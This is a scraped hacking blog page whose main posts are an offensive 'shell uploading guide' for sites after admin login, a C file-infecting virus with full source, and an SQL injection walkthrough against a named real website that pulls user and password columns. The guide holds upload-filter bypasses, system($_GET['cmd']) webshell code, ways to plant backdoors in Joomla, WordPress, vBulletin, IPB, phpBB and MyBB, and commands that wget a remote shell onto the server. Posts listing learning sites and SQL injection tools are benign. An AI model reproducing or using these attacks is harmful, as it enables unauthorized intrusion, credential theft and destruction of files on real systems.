‪SHELL‬ ‪UPLOADING‬ ‪GUIDE‬: ( Full Tutorial)

‪SHELL‬ ‪UPLOADING‬ ‪GUIDE‬: ( Full Tutorial)

Many newbie’s face problem while uploading shell on a site after
getting admin access/ logging in to that site. So, I am writing this in
order to help them.
Basically shell gives us remote access to that server. Such shells are
available in different language like php, asp/aspx, cgi etc.So, we have
to choose a shell that will work on the server according to the server
script. If the server supports php shell then we have to choose any of
the php shell Otherwise asp & cgi.
now, let’s coMe to the Main point….
AFTER LOGGING IN TO THE SITE IF WE FOUND ANY UPLOAD OPTION IN THE SITE ,THEN WE CAN EASILY UPLOAD SHELL. But sometimes we have to do some
changes to upload a shell.
Way 1~~~~
AS THE SHELL IS IN PHP FORMAT, SOMETIMES SOME SITES DOES NOT ALLOW
UPLOADING SUCH SCRIPTS DIRECTLY WITH THE PHP EXTENSION. If so happens
then just rename the shell name. Add .gif/.jpg/.html/.doc etc.
Example: suppose before renaming the shell name was shell.php, then we
will rename it as shell.php.jpg or anything else.
Way 2~~~~
Upload a simple up loader shell first that isn’t detected by Antivirus
and firewalls. THEN UPLOAD YOUR SHELL THROUGH YOUR OWN SHELL. YOU CAN
DOWNLOAD A UP LOADER SHELL FROMhttp://www.rohitroy.my/(three)gb.com/FILE%20UPLOADER.zipWAY 3 ~~~~
FEW FIREWALL OF THE SERVER DETECTS THE SHELL SCRIPT BY CHECKING THE
headers & don’t allow us to upload a shell. so we can bypass it by using
“GIF89A SHELL SCRIPT BYPASS” Method.
open your shell in notepad. add “GIF89a;” without quote before the shell
code starts. liKe below…
GIF89a;
<?
code...
code...
code...
?>
Depending on what kind of file validation they are using this may fool
the Server Into thinking its a image since when it reads the file it finds
the gif header and assuMes its safe since it’s a iMage.
WAY4~~~~
this method is more advanced. This only works for client side filters
rather than server side. download firebug for Firefox, then edit the
html of the upload .
&lt;form enctype=\"multipart/form-data\" action=\"uploader.php\" method=\"POST\"&gt;
Upload DRP File:
&lt;input name=\"Upload Saved Replay\" type=\"file\" accept=\"*.jpg\"/&gt;&lt;br /&gt;
&lt;input type=\"submit\" value=\"Upload File\" /&gt;
&lt;/form&gt;
Change the filter accept. to *.* or just remove it completely , it will then
let you upload any type of file.
WAY 5~~~~
download “LIVE HTTP HEADERS” add-on first for your Firefox browser.
1. Rename your shell name to shell.php.jpg (or whatever
that site supports. In my case, site supports only jpg file.
That's why i renamed it to shell.php.jpg.)
2. Open Firefox & Start your Live HTTP Headers addon, after that
upload your shell.
3. Then your Live HTTP Headers will look something similar to this
4. Then click on the shell.php.jpg, after click on Reply button.
5. Then again a new window will open, in that window there will be two
boxes, but we have to work on second box.
6. In the second box, rename your shell.php.jpg to shell.php, then
again click on Reply button.
Now you have successfully done, only thing you have to do is to find the
shell path.
WAY 6~~~~
Find yourself a copy of edjpgcom.exe
"edjpgcom is a free Windows application that allows you to change (or
add) a JPEG comment in a JPEG file."
Usage:
--edjpgcom "filename.jpg"
Now add this to the jpg comment since you wont be able to drop a whole
shell in there due to limits etc.
";
system($_GET['cmd']);
echo "
";
?>
now rename your jpg to .php and upload.
WAY 7~~~~
Another way you can fool the web server into thinking your uploading a
image instead of a php shell is to get Firefox and install the
“tamper-data” Add on then click start tamper and upload your php shell
then tamper the data and change the content-Type from
'application/octet-stream' to 'image/jpeg'.
If u have any problem to upload a shell using tamper-data, then just do a
simple Google search. So many video tutorials on this is available in
web. So I am not explaining this step by step.
WAY 8~~~~
All the above mention way works when we find an upload button on the
site. but when there is no upload button, it’s not easy to upload a shell
there. we can try few things……
We have to find out if there is a edit option of an existing php/asp/aspx
page. If there is a edit option then open that page & delete whole script.
After that, open your shell in notepad. Copy the script, paste to that
page. Finally, save it. Now that link will be your shell.
possibly we can find edit option in the following pages of a site……
Contact us.php/ Contact us.asp
Class.php/ Class.asp
About us.php/about us.asp
Terms.php/terms.asp
nb: in soMe news, vehicles shelling, cart etc sites, don’t have any option
to upload a file after logging in through admin panel. They only allow
file upload after logging through cpanel.
WAY 9~~~~
SOME TIMES, IN SOME REMOTE FILE INCLUSION Vulnerable SITES, WE HAVE TO
EXECUTE A SHELL FROM ANOTHER HOSTING SITE. METHOD……..
1) UPLOAD YOUR SHELL IN A FREE HOSTING SITE LIKEwww.my(three)gb.com,
www.3owl.com, www.ripway.com, www.000webhost.com, etc.
2) Now suppose your shelled site link iswww.example.my(three)gb.com/c99.txt &
YOUR VULNERABLE SITE IS www.site.com3) Now we have to execute this following command to gain shell
access to that site.
http://www.site.com/v2/index.php…4) REPLACE THE SITE LINK IN THE COMMAND ACCORDING TO YOUR SHELL &
VULNERABLE SITE LINK.
SHELL UPLOADING IN joomla, wp, vb, smf, ipb,
mybb SITES
IN THOSE ABOVE MENTIONED SITE WE CANT FIND DIRECT UPLOAD OPTION
GENERALLY. SO WE HAVE TO DO THEM IN OTHER WAYS.
1.Joomla Site:~~~~~~~~~
After Login into admin-panel u will find Extensions on 5th No. expand this
click on it > template Manager > check on any template (like
beez,ja_purity)
Now click on Edit (right upper side)
after this click on Edit html
now paste ur shell code and click save...done
site.com/templates/template name/index.php
like site.com/templates/beez/index.php2.WordPress:~~~~~~~~~
login into admin panel
expand Appearance then click on editor > u will find style.css
now select 404.php on right side
paste ur shell code and click edit file
u can find shell in site.com/wp-content/themes/theme name u edit/404.php
3.Vbulletin:
1-Log in admin cp
2-Under “Plugins & Products”, select Add New Plugin
3-Adjust the settings as follows:
Product: vBulletin
Hook Location: global_start
Title: (Anything …)
Execution Order: 5
Code:
ob_start();
system($_GET['cmd']);
$execcode = ob_get_contents();
ob_end_clean(); Plugin is Active : Yes
4-After the plugin is added, go to the heading “Style and Design”, select
“Style Manager
5-Under whatever the default style is in the dropdown menu, select Edit
Templates.
6-Scroll Forum-home models and expand. Click [Customize] beside FORUM-HOME.
7-Search
Code:
$header
Somewhere near the top. Replace it with:
Code:
$header
$execcod
e
8-Now go to the forum and add after the index.php
Code:
?cmd=wget http://www.site.com/shell.txt;mv shell.txt shell.php
So it looks like
Code:
http://www.site.com/pathtoforum/index.php?cmd=wgethttp://www.site.com/shell.txt;mv shell.txt shell.php
What this does is shell.txt downloads, and renames shell.php
Now,
the shell must be located in the directory shell.php forums … If not,
then wget is disabled on that server, you can try alternative methods:
Code:
http://www.site.com/pathtoforum/index.php?cmd=curlhttp://www.site.com/shell.txt > shell.php
Code:
http://www.site.com/pathtoforum/index.php?cmd=GEThttp://www.site.com/shell.txt shell.php
4.SMF:~~~~~
login into admin-panel
u need to download any smf theme in zip format and put ur shell.php in it
and save
admin panel > select Themes and Layout > Install a new theme > browse and
upload theme thats have our shell.php smile emoticon
after upload shell will find > site.com/Themes/theme name/shell.php
5.IPB:~~~~
login admin panel > Look and Feel >Manage Languages, choose language > section
(example) public_help
edit:
help.txt
Choose topic from list, or search for a topic
In right box add this code:
${${print $query='cd cache; wget http://link_to_shell/shell.txt;mv
shell.txt shell.php'}}
${${system($query,$out)}}
${${print $out}}
When you add it, specify go on bottom
Now we go on:
http://www.site.com/index.php?app=core&module=helpAnd our code we add will be done, and you will get your shell @
www,site.com/cache/shell.php6.phpBB:
~~~~~~login into admin panel > go on styles -> templates -> edit, for Template
file choose faq_body.html
At down of:
<!-- INCLUDE overall_header.html -->
We add:
<!-- PHP -->fwrite(fopen($_GET[o], 'w'), file_get_contents($_GET[i]));
<!-- ENDPHP -->[php]
And save it.Now go on:
[php]www.site.com/forum/faq.php…l.txt
shell find in site path/shell.php
[/php]
Mybb forum
login admincp > Go to Templates and Styles, find default MyBB Theme is.
Then go to Templates,
expand templates that are used by the current theme.
Find Calendar templates,
click it. Click 'calender'. Above all the html code, paste this:
http://pastebin.com/eV1WngfMsave smile emoticon
shell will b find in site.com/calendar.phpnote: if u got error like "code is danger unable to edit "
then simply paste ur deface code to deface calendar.php
[[-==END==-]]

Read More

How to Create a Computer Virus? [{(Using C++)}]

How to Create a Computer Virus?

This program is an example of how to create a computer virus in C language. This program demonstrates a simple virus program which when executed creates a copy of itself in all the other files that are present in the same directory.

Thus, it destroys other files by infecting them. The infected file will also become a virus so that when executed, it is capable of spreading the infection to another file and so on.

Here’s the source code of the virus program:

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst("*.*",&ffblk,0); //Search for a file with any extension (*.*)
while(!done)
{
virus=fopen(_argv[0],"rb"); 
host=fopen(ffblk.ff_name,"rb+");
if(host==NULL) goto next;
x=89088;
printf("Infecting %s\n",ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf("DONE! (Total Files Infected= %d)",a);
end=clock();
printf("TIME TAKEN=%f SEC\n",
(end-st)/CLK_TCK);
getch();
}

This virus is designed to infect all types of files with any extension.

You can download the source code from the following link:

Download Source code

How the Virus Program Works?

The algorithm of this virus program is as follows:

Step-1: Search for files in the current directory. If one or more file is present, load the first file (target file).

Step-2: Load the copy of the virus itself onto the memory.

Step-3: Open the target file. Copy the virus code from the memory and place it in the target file. Close the target file when the copying process is completed.

Step-4: Load the next file to infect and move to the step-3. If all the files are infected, close all the open files, unload them from the memory and exit.

As far as the technical terms are concerned, I would not be able to explain the program line by line. Anyone with a working knowledge of C should be easily able to understand the functions and other terms used in the program.

How to Compile the Program:

For a step-by-step guide, you can refer my detailed post on how to compile C programs?

How to Test the Virus After the Compilation:

1. Create a new empty folder.
2. Put some executable files (or any other files) in the folder.
3. Run the PC_Virus.exe file. With in a few seconds all the other files in the folder gets infected.
4. Now every infected file is a new virus which is ready to re-infect. You can copy any of the infected .exe file to another empty folder and repeat the same procedure to see if the infected file is capable of re-infecting. Delete the folder and all the infected files after the testing process is done.

NOTE: The files infected by this virus are destroyed completely and cannot be recovered. So, always test the virus in a new folder by placing some sample files.

WARNING: FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD OR MISUSE THIS VIRUS CODE.

Read More

Top 6 Websites To Learn Computer Programming Languages

Top 6 Websites To Learn Computer Programming Languages

Ever wanted to learn computer programming languages, but didn't know where to start? Well, those days are over. Today learning programming languages is not really a hard job. If you are a beginner and have aptitude to learn computer programming then you can accomplish this goal within a few months. Here are the top 6 websites, which are useful for learning programming.

1. W3schools.com

If you are a beginner or intermediate programmer, then w3schools is an excellent website for learning programming. W3schools offer tutorials for a variety of web programming and scripting languages such as html, html5, css, asp, Ajax, JavaScript, php, jQuery etc. So, if you are into web development then w3schools would be a great learning resource.

2. Codeavengers.com:

If you want learn coding for making games, apps or websites using html/html5, css3, JavaScript python, but want an entertaining teaching resource. Then codeavengers.com is ideal choice for you. Codeavengers.com was designed by keeping difficulty for beginners in mind. It provides a fun and interactive learning environment that is effective for all age groups. Even if you are an intermediate programmer, you might find some great learning stuff there.

3. Codecademy.com

Codeacademy is another great website, for learning languages like JavaScript, HTML/CSS, PHP, Python, and Ruby. You can even learn how to use some popular web APIs in your website or app.  Codeacademy has a great modern learning system, which is based on user interaction. It has full-fledged programming courses for beginners. Again, this website is great for beginners and intermediate learners. But advanced programmers can also find some pretty useful stuff there.

4. tutorialspoint.com

Tutorialspoint has tutorials for a lot of web, high level and scripting languages that are commonly used today. You can find tutorials for any computer language that you have ever heard of (those that are currently in used). Apart from that, it also features a variety of tutorials for other fields such as DIP, OS, SEO, Telecom, DBMS, and frameworks etc.  Some commonly used languages that you can learn there are: Java, C++, PHP, Python, Ruby, C#, Perl, VB.Net, ios.

5. msdn.microsoft.com

Although, beginner programmers might find MSDN (Microsoft Developer Network) a tough learning resource, it is still the best resource you can get, if you want to master Microsoft oriented languages such as VB.Net, C# etc. MSDN has great tutorials for beginners, intermediate and advance programmers.

But as I stated earlier, beginners might not be initially comfortable with MDSN, as I has really a lot of resources that it would be a hard time for beginners to find what they are looking for. But if you get used to MSDN, then it is the ideal learning point for Microsoft oriented languages. You can get a lot of sample applications, tutorials and resources that are uploaded by Microsoft and MSDN community. Since it’s a developer’s network, you can even find development help from community members.

6. Lynda.com

You might already know about Lynda.com. Lynda offers easy to follow video tutorials. Lynda.com is an old and well established tutoring site, if you are looking for video tutorials to learn computer languages, then Lynda is your ideal choice. Apart from programming languages, Lynda also offers tutorials for a variety of other fields such as 3D modeling, CAD, Photography etc. Lynda.com is an old and well established tutoring site.

So the next time someone asks you about your computer skills, you know where to turn. I hope you will learn a lot from these websites. All the best :)

Read More

15 Great Websites To Learn Ethical Hacking From Scratch

15 Great Websites To Learn Ethical Hacking From Scratch

Not appears to have its popularity but hacking is really a very attractive and interesting thing. You might be surprised to know just how many youngsters want to become a hacker. They attend seminars, training, read great books to learn “How To hack!“. However, hacking is not whole illegal. There are two type of hackers. First, black-hat hackers and second, white-hat hackers or ethical computer hacker.

Learn White Hat Hacking

Hacking needs sharp mind. The power of hacking can be utilized for both enhancing or breaching secutiy. So, if you’re thinking of becoming a black-hacker, its a whole illegal thing and you’ll face many problems along your ways. However, if you are thinking to learn ethical hacking and become white-hat hacker then its a quite respective career.
So here, I am sharing you 15 great websites from where you can learn ethical hacking.

1. CEH: CERTIFIED ETHICAL HACKING COURSE

It is a certified brand to learn ethical hacking online. The website has comprehensive resources to learn white-hat hacking. Just start with any of provided training course, buy courseware and you’re ready to start, from the very beginning.

2. HACKING TUTORIAL

This website shares some great ways to tweak software, hack network, websites, databases etc. The author offers great hacking tutorial daily. You’ll be able to find articles like “10 Steps to Set Up Armitage in Backtrack 4 for Penetration Test”, “Client Side Attack Using Adobe PDF Escape EXE Social Engineering”, “How To Copy USB Content to your Computer Secretly” etc.

3. HACK A DAY

The website features daily hack, tips, tricks and guides that may interest you and other geeks reading this article. You’ll be able to find very interesting and amazing tips on this website. Apart from its amazing colour and design, all articles have been clearly categorized. Lets say, you want to hack cameras, there is a category on the right side bar “digital camera hacks”.

4. BREAK THE SECURITY

Break the security is another great website for you to learn white-hat hacking from scratch. The website includes articles on penetration testing, security, and more tutorials to enhance your privacy and security. Some of their articles are “How to enable Two-Factor authentication in Linkedin?”, “How to Hack Windows XP,7,VISTA Admin Account passwords?”, etc.

5. EVILZONE HACKING FORUM

This is one the largest forum community for hacking. The website has over 15,000 members and 70,000 posts. Holding such a large number of users the forum is capable to solve any of your programming question or issues related to hacking or security. You can register here for free and be a part of comminuity but just be careful, these guys don’t handle newcomers with kid gloves.

6. HACK THIS SITE!

This is another great library to feed your hacking passion. The website is free and safe to use and provides training ground for hackers. Unlike just another hacking site, Hack This Site is a large, breathing community with many projects in development. There supportive forum help users upon issues related to hacking, networking, security, etc.

7. HACK IN THE BOX

From a decade, hack in the box in helping users to protect there privacy with its hacking and security related articles. The website holds in-depth articles, detailed hacks and news related to software exploits, security breach, etc. Now, the guys are regularly organizing confrences for the same at Netherlands and Malaysia.

8. SECTOOLS

The website lists top network security tools available in the market that will help you to protect network security breach. The list is frequently updated with latest tools getting popular under “security tools” category. Not only showvasing but the website also provide details, feature, etc. about every listed software.

9. HAPPY HACKER

It is a good beginner site which have numerous guides to harmless hacking. This site will teach you the basics while keeping it legal. So to start on, it is good for your career. Some of their articles are “How to set up a home hacker laboratory?”, “How to break into Unix type computers?”, etc.

10. HACKING LOOPS

So, we have got another great resource to learn ethical hacking! Hacking Loops is a website dealing with very powerful hacking issues. Most of the articles available at the website will interest you. After visiting the website, you’ll be able to read tutorials like “How to stop virus or trojan attacks ?”, “Facebook account Password hacking techniques”, “Introduction to tracing emails”, etc.

11. EXPLORE HACKING

The website tells you amazing tips, tricks and guides related to technology, software, internet, etc. Explore Hacking have many simple as well as powerful hacking tips that every hackers need to learn.

12. FROM DEV

Though it is not a hacking website but the article I linked with this website name is revealing top hacking and network security related websites, resources, software. It is comprehensive article that is linked to many great articles that will help you to learn ethical hacking from basic.

13. LEARN HACKING

Learn Hacking is a great website to learn beginner-level and advance hacking. The site has hacking article categorized very neatly. Some of its hacking article categories includes Application Hacking, Backtrack Hacking, Email Hacking,  Internet hacking, Hacking Guides, etc.

14. PACKET STORM SECURITY

Packet Storm shares step-by-step tutorial, how-to, guides etc. upon security, hacking and software exploits. It also feature latest hacking news making you aware of the power of hacking world. Moreover, if you know any software exploit that is not available on this website, you can submit it and the website will pay you for the same.

15. METASPLOIT

Metasploit is world’s most powerful and popular Penetration Testing Software which helped lots of organization to enhance their secutiy. Metasploit Blog is one of the popular resource to learn about software exploits, major/minor software, network, database hacks.

Read More

Inject Website Using Sql injection Code

Inject Website Using Sql injection Code

welcome to www.n0bz.com today i gonna tech you how to inject website using sqli injection using this sqli injection code we can see all table databases columns etc so lets start

Requirement

Hack bar

Vulnerability Website i have this one http://www.cgcym.org.ar/noticia.php?id=18

i hope you understand simple sqli injection how to check this its vuln or not and hope you know that how to find order and table numbers if you dont know please visit and watch previous tutorials :)

1. so now we need to find order i have already find it it has 9 order  like

http://www.cgcym.org.ar/noticia.php?id=18 order by 9 (no erro)
http://www.cgcym.org.ar/noticia.php?id=18 order by 10 (error)

so next use union select command and find table number

2. http://www.cgcym.org.ar/noticia.php?id=-18+union+select+1,2,3,4,5,6,7,8,9--+-

3. copy this code replace 3 number and past it then click execute button

4. we need to find data , remove this code in 3 columns and write 'group_concat(us,0x3a,pw)' and in the url end write table name like usuarios and click execute button

first one is user and second one is password i hope you like this Thanks fro Visiting

Watch Video

Credit To- http://www.n0bz.com

Read More

10 Powerful SQL Injection Tools That Hackers Can Use

10 Powerful SQL Injection Tools That Hackers Can Use

1. BSQL Hacker This is a useful tool for both experts and beginners that automates SQL Injection attacks on websites. 2. The Mole This is an SQL Injection tool that uses the union technique or the boolean query-based technique. 3. Pangolin This is a penetration testing tool developed by NOSEC. It is aimed at detecting and exploiting SQL injection vulnerabilities on websites. 4. Sqlmap This is an open source penetration testing tool that security professionals can use. Like the BSQL Hacker tool, this one also automates SQL Injection attacks. 5. Havij This is an automated SQL injection tool that can be used by penetration testers in order to detect vulnerabilities in web applications and exploit them. 6. Enema SQLi This is a dynamic penetration testing tool for professionals. It is an auto-hacking software. 7. Sqlninja This is a tool targeted at exploiting SQL injection vulnerabilities. It uses the Microsoft SQL server as its back end. 8. sqlsus Written using the Perl programming language, this is an open source penetration testing tool for MySQL Injection and takeover. 9. Safe3 SQL Injector This is a powerful penetration testing tool, which automates the process of detecting and exploiting SQL Injection vulnerabilities. 10. SQL Poizon This tool includes php , asp , rfi , lf dorks that can be used for penetration testing.

Read More